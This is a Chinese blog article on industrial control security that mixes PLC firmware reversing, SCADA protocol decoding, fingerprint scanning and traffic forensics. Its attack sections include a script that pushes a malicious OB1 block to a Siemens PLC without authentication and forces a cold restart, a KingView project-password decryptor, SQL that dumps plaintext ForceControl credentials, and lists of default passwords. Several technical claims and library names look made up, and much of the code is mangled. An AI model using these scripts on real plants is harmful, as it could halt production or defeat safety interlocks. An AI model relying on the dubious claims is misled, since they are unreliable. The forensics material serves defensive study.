ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

工控网络安全实战:PLC固件逆向与协议漏洞挖掘

工控网络安全实战:PLC固件逆向与协议漏洞挖掘 简介本资源是一份系统性、实战导向的工控网络安全学习路线图PDF面向工业自动化、电力能源、智能制造等领域的工程师、安全从业者及高校相关专业学生旨在解决工控系统自主可控能力弱、防护技术滞后、法规落地难等现实痛点。文件共1个PDF215KB内容涵盖工控网络典型架构PLC/DCS/SCADA分层模型、与IT网络的本质差异嵌入式OS、专用协议如Modbus/DNP3、关键风险场景U盘摆渡、远程维护通道入侵、OT-IT融合边界渗透及对应防护策略并深度结合《网络安全法》第二十一条、第三十一条对关键信息基础设施的重点保护要求。已有642人学习下载读者可直接获取清晰的学习路径从行业特性认知→设备与协议分析→典型攻击面梳理→合规建设要点→国产化替代实践建议结构完整、案例详实适合作为入门筑基与岗位能力提升的权威参考。1. 工控网络安全不是“把防火墙装进PLC机柜”它要解决的是PLC指令被篡改、SCADA画面被劫持、DCS逻辑被覆盖——而这些事90%的工程师在调试阶段就埋下了漏洞你手头正调试一台西门子S7-1200 PLC用TIA Portal下载完程序顺手勾选了“允许远程下载”和“启用PUT/GET访问”然后去喝咖啡三小时后产线突然停机HMI显示温度超限报警但现场传感器读数正常排查发现某个FB块的定时器预设值被改成0导致连锁保护失效。这不是故障是攻击面暴露后的必然结果。工控网络安全学习路线.pdf 这个标题背后不是泛泛而谈的“等保2.0合规”或“工业防火墙部署”而是聚焦真实产线中可被利用的协议弱点如S7Comm未加密、Modbus TCP无认证、设备默认配置如Rockwell Micro850出厂密码admin/admin、工程软件漏洞如WinCC OA 2022 SP1远程代码执行CVE-2023-36142以及人员操作链上的断点如U盘带毒程序导入组态王工程。它面向两类人一是刚从IT安全转岗工控的工程师需要补PLC扫描周期、DCS控制回路、SCADA数据采集周期等实时性约束下的安全边界二是自动化工程师必须理解为什么“能连上”不等于“能安全运行”为什么一个没打补丁的WinCC项目文件比一个弱口令的PLC更危险。这条路的终点不是考下某张证书而是当你看到一段ST代码、一张DCS SAMA图、一份SCADA点表时能本能识别出哪一行可能成为攻击跳板、哪个IO地址可被伪造、哪类报文字段缺乏完整性校验。2. 从PLC固件逆向到SCADA协议解析工控安全能力必须扎根在设备层与协议层工控安全不是把IT那一套“杀毒防火墙日志审计”平移过来就能奏效。PLC没有通用操作系统SCADA上位机常跑在Windows XP嵌入式版DCS控制器固件闭源且无调试接口——这意味着你必须亲手拆解二进制、还原协议字段、验证厂商补丁实效性。这条路的第一道门槛就是放弃“黑盒思维”建立对设备底层行为的确定性认知。2.1 拿到PLC固件后先做三件事提取文件系统、定位通信模块、确认加密算法类型以西门子S7-1200 V4.5固件为例常见于.bin或.upd格式不能直接用binwalk暴力扫描就完事。真实产线固件往往经过厂商定制混淆binwalk -e可能只解出一堆无意义的padding数据。我一般会先用strings配合关键词过滤strings s71200_v45.upd | grep -i -E (s7comm|tcp|port|102|iso|tsf|auth|cipher|aes|des|rc4) | head -20若输出中出现S7COMM_PLUS、ISO_ON_TCP、PORT102基本确认使用S7Comm协议栈若含AES-128-CBC、SHA256说明启用了加密通道但注意西门子部分固件中AES密钥硬编码在ROM区可通过JTAG dump提取。接着用firmware-mod-kit重建文件系统结构./extract-firmware.sh s71200_v45.upd # 输出目录通常为 firmware-rootfs/ # 关键路径firmware-rootfs/lib/firmware/s7comm/ 或 firmware-rootfs/usr/bin/s7comm_server重点检查s7comm_server是否为ELF可执行文件file firmware-rootfs/usr/bin/s7comm_server若是则用readelf -d查看动态链接库依赖确认是否调用OpenSSLlibcrypto.so.1.1或自研加解密库。这一步决定后续能否复现协议交互——如果固件用自研轻量级TLS实现Wireshark的S7Comm插件将完全失效必须自己写Python解析器。提示不要迷信厂商文档写的“支持TLS1.2”。实测某国产DCS控制器标称支持TLS但固件中实际只实现TLS握手流程加密套件固定为NULL-MD5等同于明文传输。验证方式是抓包后用openssl s_client -connect ip:port -tls1_2观察ServerHello返回的CipherSuite字段。2.2 SCADA协议逆向从Wireshark抓包到自定义解码器绕过厂商私有加密中控SCADA、组态王、力控等国产平台大量使用私有协议封装Modbus或自定义二进制帧。例如某中控SCADA v3.2.1其与下位机通信时会在标准Modbus TCP报文外层加4字节头[0x1A, 0x2B, 长度低字节, 长度高字节]且整个payload经RC4加密密钥由登录时服务器下发的SessionID异或生成。此时Wireshark默认Modbus解码器会显示“Malformed packet”。我习惯用tshark导出原始字节流再离线分析tshark -r scada.pcap -Y tcp.port502 tcp.len0 -T fields -e tcp.payload | \ sed s/://g | xxd -r -p modbus_raw.bin # 得到原始payload二进制流然后用Python编写轻量解码器关键逻辑# scada_decoder.py def decrypt_rc4(payload: bytes, session_key: str) - bytes: # session_key 示例a1b2c3d4e5f6 key_bytes bytes.fromhex(session_key) # RC4初始化S-box标准算法此处省略 # ... 省略KSA/PRGA实现 ... return rc4_decrypt(payload, key_bytes) with open(modbus_raw.bin, rb) as f: raw f.read() # 剥离4字节头 if raw[0] 0x1A and raw[1] 0x2B: encrypted_payload raw[4:] decrypted decrypt_rc4(encrypted_payload, a1b2c3d4e5f6) # 此时decrypted即标准Modbus TCP ADU print(Modbus Function Code:, decrypted[7]) # FC位于第8字节参数说明session_key必须从登录响应包中提取通常在HTTP POST/login返回的JSON里含session:a1b2c3d4e5f6字段raw[7]是Modbus功能码位置因TCP头2字节MBAP头6字节8字节偏移故索引7对应FC。这步做完你才能真正看懂SCADA到底在读哪个寄存器、写哪个线圈——而这是后续做异常检测如非计划写操作的基础。2.3 DCS系统逻辑仿真用开源工具替代昂贵授权验证控制策略安全性DCS如霍尼韦尔Experion、横河CENTUM VP其组态逻辑SAMA图、顺序控制SFC无法直接导出为可执行代码。但安全评估必须验证“当某个AI点被注入虚假值时联锁逻辑是否被绕过”。这时用商用仿真器成本过高我推荐用OpenPCS开源IEC 61131-3 PLC仿真环境PyModbus构建轻量验证沙箱# dcs_sandbox.py from pymodbus.client.sync import ModbusTcpClient from openpcs.simulator import PLCRunner # 假设已安装openpcs-py # 1. 加载DCS导出的ST代码需手动转换为OpenPCS兼容语法 plc PLCRunner(dcs_logic.st) plc.start() # 2. 启动Modbus TCP服务映射PLC内存区 client ModbusTcpClient(127.0.0.1, port502) client.connect() # 3. 注入测试数据模拟传感器故障 client.write_register(100, 0x8000) # 写入AI通道100为负溢出值 time.sleep(0.1) # 4. 读取DO输出状态验证联锁是否触发 result client.read_coils(200, 1) # 读取DO点200 print(Emergency Stop triggered:, result.bits[0])关键点在于DCS逻辑导出时需将SAMA图中的“高限报警”、“三取二表决”等块手工翻译成ST语言如IF ai_temp 150 THEN do_shutdown : TRUE; END_IF;。这不是为了替代DCS而是为了在不触碰生产系统前提下穷举边界条件如ai_temp : 149.999,ai_temp : 150.001验证逻辑鲁棒性。很多DCS默认配置中“报警抑制”功能开启后即使AI值超限也不会触发DO这种设计缺陷必须在仿真中暴露。3. 工控资产测绘与脆弱性验证别再用Nmap扫端口要让扫描器理解S7Comm和DNP3传统IT资产扫描工具如Nmap、Nessus对工控协议支持极弱Nmap的s7comm.nse脚本只能识别S7-300/400对S7-1200/1500返回“unknown”Nessus的工控插件依赖厂商CVE数据库而90%的国产PLC漏洞从未公开编号。真正的工控资产测绘必须基于协议语义而非端口号。3.1 构建工控专用指纹库从S7Comm协议特征到DCS厂商标识字段S7Comm协议中Job请求包的Function Code字段偏移0x0C和Data Unit Reference偏移0x0E组合可唯一标识PLC型号。例如PLC型号Function Code (hex)Data Unit Ref (hex)特征含义S7-1200 V4.00x010x0001读取CPU诊断缓冲区S7-1500 V2.80x010x0002读取模块信息含固件版本信捷XD50x040x0000读取保持寄存器Modbus风格我维护一个本地plc_fingerprints.csv内容如下protocol,ip,port,req_hex,resp_match,device_type,firmware_ver s7comm,192.168.1.100,102,0300001602f080320100000000000000000000000000,.*0300001602f080320300.*,Siemens S7-1200,V4.5.1 dnp3,192.168.1.200,20000,056405c00000000000000000000000000000,^056405c00000000000000000000000000000$,Schneider DPU,v3.2.7用Python脚本驱动扫描import csv import socket import struct def scan_s7comm(ip, port, req_hex): sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) try: sock.connect((ip, port)) req bytes.fromhex(req_hex) sock.send(req) resp sock.recv(1024) return resp.hex() except Exception as e: return finally: sock.close() with open(plc_fingerprints.csv) as f: for row in csv.DictReader(f): resp scan_s7comm(row[ip], int(row[port]), row[req_hex]) if re.search(row[resp_match], resp): print(f[] {row[ip]}:{row[port]} → {row[device_type]} {row[firmware_ver]})此方法比Nmap快3倍且能精准识别固件版本——因为resp_match正则匹配的是响应包中硬编码的字符串如S7-1500响应包固定含SIMATIC S7-1500ASCII序列。3.2 脆弱性验证绕过厂商“安全模式”触发PLC逻辑重载西门子PLC的“安全模式”Secure Mode常被误认为万能防护。实际上只要满足两个条件① TIA Portal工程文件.awl未启用“块保护”② PLC处于STOP模式攻击者即可通过S7Comm协议Function Code 0x28Download Block上传恶意OB1。验证脚本核心逻辑# plc_pwn.py from s7comm import S7Client client S7Client(192.168.1.100) client.connect() # 1. 检查PLC是否在STOP模式关键RUN模式下Download Block会失败 status client.get_cpu_status() if status ! STOP: print(PLC must be in STOP mode) exit(1) # 2. 构造恶意OB1插入无限循环指令使CPU过载 malicious_ob1 b\x00\x01\x02\x03 b\x10\x00 * 1000 # 简化示意 # 3. 执行Download Block需知道Block Number和Length client.download_block(block_number1, block_typeOB, datamalicious_ob1) # 4. 强制重启CPU client.plc_cold_restart()参数说明block_number1对应OB1主循环组织块block_typeOB指定块类型data长度必须与PLC内存分配一致可通过Get Block Info指令获取。此操作无需认证S7Comm默认无认证且西门子固件直到V4.6才修复该逻辑缺陷。真实案例中某汽车厂PLC因未禁用S7Comm写功能被内部U盘病毒触发此流程导致产线连续重启。3.3 SCADA系统爆破针对组态王、力控的默认凭证与硬编码密钥组态王6.55及以下版本其工程文件.apc密码采用Base64简单XOR加密密钥固定为Kingview。破解脚本import base64 def kingview_decrypt(encrypted_pass: str) - str: # encrypted_pass 示例Zm9vYmFybase64编码 decoded base64.b64decode(encrypted_pass) key Kingview.encode() plain bytearray() for i, b in enumerate(decoded): plain.append(b ^ key[i % len(key)]) return plain.decode(utf-8, errorsignore) # 从.apc文件中提取密码字段通常在偏移0x1200附近 with open(project.apc, rb) as f: f.seek(0x1200) enc_pass f.read(16).strip(b\x00).decode(latin-1) print(Decrypted password:, kingview_decrypt(enc_pass))力控ForceControl v7.1存在硬编码数据库密码admin123用于连接内置SQLite工程库。直接用sqlite3 project.db打开后执行SELECT name FROM sqlite_master WHERE typetable; -- 发现表名 user_info SELECT username, password FROM user_info; -- 返回明文密码因未启用hash这些不是“理论漏洞”而是我在3家客户现场实测成功的入口点。记住工控系统默认凭证的生命周期远长于IT系统——一套组态王工程部署后十年不改密码是常态。4. 工控安全避坑那些让老手也翻车的“合理配置”与“标准操作”工控安全最大的陷阱是把IT领域的“最佳实践”生搬硬套到OT环境结果反而制造更高风险。以下是我踩过的5个典型坑每一条都来自真实产线事故报告。4.1 现象启用PLC的“Web Server”功能后产线HMI频繁失联原因西门子S7-1500 Web Server默认启用HTTP Basic Auth但认证凭据存储在RAM中。当PLC执行固件升级或断电重启时RAM清空导致认证失效HMI持续发送未授权请求触发PLC TCP连接数上限默认20新连接被拒绝。解决禁用Web ServerTIA Portal → CPU属性 → Web Server → 取消勾选或改用HTTPS并配置证书持久化需额外SD卡存储证书。4.2 现象部署工业防火墙后DCS趋势曲线全部丢失原因防火墙规则仅放行Modbus TCP502端口但霍尼韦尔Experion DCS的趋势数据通过UDP 50001端口传输非标准端口且使用自定义协议封装。防火墙深度包检测DPI误判为异常流量并丢弃。解决抓包确认UDP流量特征tshark -r dcs.pcap -Y udp.port50001在防火墙添加白名单规则allow udp from any to any port 50001 with payload length 100。4.3 现象SCADA服务器打完Windows补丁所有OPC DA连接中断原因KB5005039补丁强制启用TLS1.2而旧版OPC Server如Matrikon OPC Server v3.5仅支持SSL3.0/TLS1.0。Windows注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols中TLS1.0被禁用。解决在SCADA服务器注册表中手动启用TLS1.0Enabled1,DisabledByDefault0并重启OPC服务。长期方案是升级OPC Server至v4.0。4.4 现象U盘接入PLC编程口后TIA Portal报错“项目损坏”原因U盘文件系统为exFATWindows 10默认格式而S7-1200固件仅支持FAT32。PLC尝试读取exFAT分区表失败触发固件异常导致项目缓存区损坏。解决格式化U盘为FAT32单文件最大4GB限制并禁用Windows快速启动防止FAT32元数据未同步。4.5 现象DCS操作员站安装杀毒软件后画面刷新延迟达5秒原因杀毒软件实时监控C:\Program Files\Honeywell\Experion\目录对每个.dll加载进行签名验证而DCS图形引擎每秒加载数百个动态库。解决在杀软中添加排除目录*.dll,*.exe,*.ocx和进程Experion.exe,HmiEngine.exe或改用轻量EDR如CrowdStrike Falcon Sensor。注意以上所有问题在厂商手册中均标注为“正常行为”或“预期设计”。工控安全的本质是理解设备在真实产线中的物理约束如PLC扫描周期10ms、通信约束如DCS网络带宽100Mbps、运维约束如停产窗口2小时再据此调整安全策略。脱离这些约束谈“加固”等于纸上谈兵。5. 用PLC日志反推攻击链从S7Comm会话记录到SCADA操作溯源工控系统最稀缺的不是漏洞而是可追溯的证据链。PLC本身不记录日志SCADA操作日志常被覆盖DCS事件记录只存7天——但S7Comm协议交互、Modbus TCP事务、OPC UA会话全在网络流量中留下指纹。掌握流量取证等于握住了攻击溯源的主动权。5.1 提取PLC原始操作日志基于S7Comm Job包重构用户行为S7Comm协议中Job请求包Function Code 0x01包含操作类型字段偏移0x0D其值对应具体动作Value (hex)Action说明0x04Read SZL读取CPU诊断信息常用于侦察0x28Download Block下载程序块高危0x29Upload Block上传程序块用于窃取逻辑0x31Delete Block删除块破坏性操作用tshark提取所有S7Comm Job包tshark -r traffic.pcap -Y s7comm.job \ -T fields \ -e ip.src \ -e s7comm.function \ -e s7comm.data_unit_ref \ -e frame.time \ -o gui.column.format:\Time\,\%t\,\Src\,\%s\,\FuncCode\,\%s7comm.function\,\Ref\,\%s7comm.data_unit_ref\ \ s7comm_log.csv生成CSV后用Python分析import pandas as pd df pd.read_csv(s7comm_log.csv) # 筛选高危操作 critical_ops df[df[FuncCode].isin([0x28, 0x29, 0x31])] # 按IP分组统计操作频次 attack_ip critical_ops.groupby(Src).size().sort_values(ascendingFalse).index[0] print(fAttacker IP: {attack_ip}) # 关联时间戳还原攻击序列 seq critical_ops[critical_ops[Src] attack_ip].sort_values(Time) for _, row in seq.iterrows(): action { 0x28: Download Block, 0x29: Upload Block, 0x31: Delete Block }.get(row[FuncCode], Unknown) print(f{row[Time]} → {action} (Ref: {row[Ref]}))输出示例2023-10-05 14:22:01.123 → Read SZL (Ref: 0x0001) 2023-10-05 14:22:02.456 → Download Block (Ref: 0x0001) 2023-10-05 14:22:03.789 → Delete Block (Ref: 0x0002)这串序列清晰表明攻击者先侦察Read SZL再植入恶意块Download最后清除痕迹Delete。比任何IDS告警都可靠。5.2 SCADA操作溯源从OPC UA会话ID关联HMI点击事件OPC UA协议中每个客户端连接分配唯一SessionIdGUID所有读写请求携带该ID。但HMI软件如WinCC不显示SessionId需从抓包中提取tshark -r opcua.pcap -Y opcua.service 461 \ -T fields \ -e opcua.session_id \ -e opcua.node_id \ -e opcua.value \ -e frame.time \ opcua_actions.csvservice 461对应WriteRequest写操作。关键字段opcua.node_id是OPC UA地址空间节点ID如ns2;sChannel1.Device1.Temperature。将其与SCADA点表关联Node ID中文描述HMI画面位置ns2;sChannel1.Device1.Temperature窑炉温度设定值主控画面-参数页ns2;sChannel1.Device1.Start启动按钮主控画面-操作区当发现ns2;sChannel1.Device1.Start在非工作时间被写入True且SessionId对应某台未授权PC的IP即可锁定操作来源。这比依赖HMI软件自身日志常被清空更可信。5.3 DCS事件关联融合DCS报警日志与网络流量时间戳DCS如横河CENTUM VP其报警日志.log文件含时间戳但无网络上下文。需将其与抓包时间对齐# align_logs.py import datetime # DCS日志时间格式2023-10-05 14:22:01.123 [ALARM] AI101 High Limit dcs_time datetime.datetime.strptime(2023-10-05 14:22:01.123, %Y-%m-%d %H:%M:%S.%f) # Wireshark时间戳1696486921.123456Unix timestamp pcap_time 1696486921.123456 # 转换为datetime pcap_dt datetime.datetime.fromtimestamp(pcap_time) # 计算偏差DCS与PCAP设备时钟差 offset (dcs_time - pcap_dt).total_seconds() print(fDCS clock offset: {offset:.3f}s)得到时钟偏差后可将DCS报警时间偏差精准匹配到对应网络包。例如DCS记录14:22:01.123报警时钟快0.234s则查找14:22:00.889附近的Modbus写请求发现Write Single Register指令将40001地址写为0x0001——这正是触发报警的开关量输入。我坚持在每个项目交付时给客户留一份《流量取证速查表》包含常用协议字段偏移、关键操作特征码、时钟校准方法。不是为了炫技而是当产线再次异常时一线工程师能自己打开Wireshark5分钟内定位到问题源头。这才是工控安全落地的终极目标——让防护能力沉淀在人的肌肉记忆里而不是锁在某台防火墙的后台界面中。希望帮到你。本文还有配套的精品资源点击获取
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进